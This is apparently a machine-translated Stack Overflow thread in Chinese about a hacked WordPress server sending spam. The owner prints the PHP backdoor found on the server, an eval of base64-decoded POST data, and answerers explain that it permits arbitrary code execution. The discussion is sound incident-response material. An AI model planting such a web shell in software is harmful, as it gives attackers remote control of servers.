8

我的托管服务提供商最近暂停了我的网站,因为网站上的某些内容正在发送大量垃圾邮件。最初,我和提供商认为这是由于我几天前在服务器上放置的电子邮件活动的不安全表单造成的。我从服务器中删除了带有表单的页面,但服务器仍在发送垃圾邮件。

我在服务器根目录的“css”文件夹中找到了一个名为 7c32.php 的 php 文件。我绝对没有成功。这是文件中的代码:

<?php if(isset($_POST["cod\x65"])){eval(base64_decode($_POST["co\x64e"]));}?>

通过在线解码器运行它后,它得出了以下结论:

if(isset($_POST["code"])){eval(base64_decode($_POST["code"]));

我阅读了一些有关恶意 php 文件的内容,发现 eval( 和 base64_decode 字符串非常可疑。我查看了服务器日志文件,看到了几个来自沙特阿拉伯 IP 地址的 7c32.php 文件的帖子查询。

我删除了 php 文件,更新了所有过时的 wordpress 主题和插件(以及平台本身,并将 FTP 服务器和 Wordpress 管理帐户的密码更改为更安全的密码。

我还能做些什么来确保我的服务器安全吗?我即将在服务器上的每个其他 php 文件中搜索这些 base64 和 eval( 字符串,但除此之外,我没有想法。

这个 php 脚本看起来太短了,不会造成任何损害,但是还有什么可以发送所有垃圾邮件呢?

任何帮助将不胜感激。

4

2 回答 2

2

eval()是一个非常危险的小语言结构,因为它几乎可以执行作为字符串传递给它的任何 PHP 代码,所以它当然可能是发送邮件的脚本,尽管发送垃圾邮件实际上是相当无损的eval() 可以做。

如果您的页面有权删除 Web 根目录中的每个文件,eval()那么也可以这样做,只需有人通过 POST 向脚本发送正确的命令即可。

如果您真的想确保它是发送邮件的那段代码,请将其放回原处,但对其进行修改以利于您。停止使用它eval(),而是将 POST 数据保存到数据库或文本文件中。这是您确切知道此代码的用途的唯一方法。

于 2013-06-04T05:30:16.713 回答
1

这个 php 脚本看起来太短了,不会造成任何损害,但是还有什么可以发送所有垃圾邮件呢?

您如何认为此代码太短而不会损坏?这是eval()最糟糕的代码

eval() 语言结构非常危险,因为它允许执行任意 PHP 代码。因此不鼓励使用它。如果您已仔细验证除了使用此构造之外别无选择,请特别注意不要将任何用户提供的数据传入其中,而无需事先正确验证。

他们可以使用该代码执行任何 PHPtoo short代码。评估是邪恶的。不允许未经验证的文件上传权限

但是还有什么可以发送所有这些垃圾邮件?

同样的 eval 代码正在发送电子邮件。他们向它发布电子邮件代码,然后它依次执行并发送电子邮件

于 2013-06-04T05:29:34.067 回答